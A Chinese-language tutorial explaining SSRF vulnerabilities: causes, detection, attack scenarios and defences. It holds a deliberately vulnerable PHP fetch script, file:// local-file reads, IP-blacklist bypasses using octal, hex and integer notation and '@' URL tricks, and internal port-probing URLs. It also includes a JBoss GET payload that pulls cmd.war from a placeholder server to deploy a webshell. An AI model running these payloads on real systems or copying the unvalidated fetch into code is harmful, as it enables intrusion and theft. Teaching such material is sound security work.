SSRF漏洞的简述
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
SSRF 形成的原因:大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我构造好我的访问包,那我就有可能利用目标服务对他的其他服务器应用进行调用。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
入门引例
上面的话可能有点抽象,来举个实际例子。首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。显然,我们普通用户只可以访问A网站,不能访问B网站。但是我们可以同过A网站做中间人,访问B网站,从而达到攻击B网站需求。
正常用户访问网站的流程是:
输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤)并处理 -->返回用户响应
此处假设该网站有个请求是www.baidu,com/xxx.php?image=URL
。那么产生SSRF漏洞的环节在哪里呢?
【漏洞成因】服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据。
例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg
如果我们将 www.abd.com/1.jpg 换为与该服务器相连的内网服务器地址会产生什么效果呢?如果存在该内网地址就会返回1xx 2xx
之类的状态码,不存在就会其他的状态码。
【漏洞简析】SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。
主要危害
攻击者利用SSRF可以实现的攻击主要有5种:
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务器的banner信息;
- 攻击运行在内网或本地的应用程序(比如溢出);
- 对内网web应用进行指纹识别,通过访问默认文件实现;
- 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
- 利用file协议读取本地文件等。
进阶实例
现在服务器上有一个ssrf.php的页面,该页面的功能是获取URL参数,然后将URL的内容显示到网页页面上。
#ssrf.php
<?php
function curl($url){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_exec($ch);
curl_close($ch);
}
$url=$_GET['url'];
curl($url);
?>
#程序获取url参数,通过curl_init()初始化curl组件后,将参数URL带入curl_setopt($ch,CURLOPT_URL,$url),然后调用curl_exec请求该URL。由于服务器端会将banner信息返回给客户端,所以可根据banner判断主机是否存在某些服务。
我们访问该链接:http://127.0.0.1/ssrf.php?url=http://127.0.0.1/test.php
,它会将test.php页面显示出来:
如果我们把url的参数换成 http://www.baidu.com
,页面则会返回百度的页面:
于是我们可以将URL参数换成内网的地址,则会泄露服务器内网的信息。将URL换成file://
的形式,就可以读取本地文件。这和文件包含漏洞很类似! 如下,我们可以读取服务器host文件的信息:
SSRF漏洞的检测
从web功能上寻找
SSRF是由于服务器获取其他服务器的相关信息的功能中形成的。
- 分享:通过URL地址分享网页内容
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译
- 图片加载与下载:通过URL地址加载或下载图片
- 图片、文章收藏功能
- 未公开的API实现以及其他调用URL的功能
从URL关键字中寻找
在对功能上存在SSRF漏洞中URL地址特征的观察,通过一段时间的收集,大致有以下关键字:
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
如果利用google语法加上这些关键字去寻找SSRF漏洞,耐心的验证,现在还是可以找到SSRF漏洞。
使用排除法进行检测
例如: http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
排除法一
你可以直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png
,说明不存在SSRF漏洞。
排除法二
你可以使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求,在此例子中,如果刷新当前页面,有如下请求,则可判断不是SSRF(前提设置burpsuite截断图片的请求,默认是放行的)。
此处说明下,为什么这边用排除法来判断是否存在SSRF,举个例子:http://read.*******.com/image?imageUrl=http://www.baidu.com/img/bd_logo1.png
现在大多数修复SSRF的方法基本都是区分内外网来做限制(暂不考虑利用此问题来发起请求,攻击其他网站,从而隐藏攻击者IP,防止此问题就要做请求的地址的白名单了),如果我们请求 :http://read.******.com/image?imageUrl=http://10.10.10.1/favicon.ico
而没有内容显示,我们是判断这个点不存在SSRF漏洞,还是http://10.10.10.1/favicon.ico
这个地址被过滤了,还是http://10.10.10.1/favicon.ico
这个地址的图片文件不存在,如果我们事先不知道http://10.10.10.1/favicon.ico
这个地址的文件是否存在的时候是判断不出来是哪个原因的,所以我们采用排除法。
SSRF绕过IP限制
1、更改IP地址写法
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如 192.168.0.1 这个IP地址我们可以改写成:
(1) 8进制格式:0300.0250.0.1
(2) 16进制格式:0xC0.0xA8.0.1
(3) 10进制整数格式:3232235521
(4) 16进制整数格式:0xC0A80001
2、利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
http://www.baidu.com@192.168.0.1/
当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
SSRF的攻击场景
具体的攻击实例可以参见博文:SSRF攻击实例解析
1、大多数社交网站都提供了通过用户指定的url上传图片的功能。
如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URL,比如:
- http://example.com:8080/dir/images/
- http://example.com:22/dir/public/image.jpg
- http://example.com:3306/dir/images/
然后根据服务器的返回信息来判断端口是否开放。
2、攻击应用程序
内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。比如,探测到8987端口开放,则可以请求http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
来尝试溢出。
3、内网web应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
比如可以通过访问下列文件来判断phpMyAdmin是否安装。
- http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
- http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
- http://127.0.0.1:8082/profiles/minimal/translations/README.txt
以一个来自wooyun的百度案例,在百度识图中,输入http://10.50.33.43:8080/manager/images/tomcat.gif
,可以识别出服务器使用了tomcat。
4、攻击内网web应用
仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。这里提供一个Jboss的案例,使用一个get请求即可部署webshell。只需要将网马放在公网服务器上,然后发送这个请求即可:
&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
5、读取本地文件
上面提到的案例都是基于http请求的。如果我们指定file协议,也可能读到服务器上的文件。如下的请求会让应用读取本地文件:file:///C:/Windows/win.ini
。
SSRF的防御手段
通常有以下5个思路:
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
- 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
- 限制请求的端口为http常用的端口,比如,80,443,8080.8090
- 黑名单内网ip。避免应用被用来获取内网数据,攻击内网。
- 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于
file://
,gopher://
,ftp://
等引起的问题。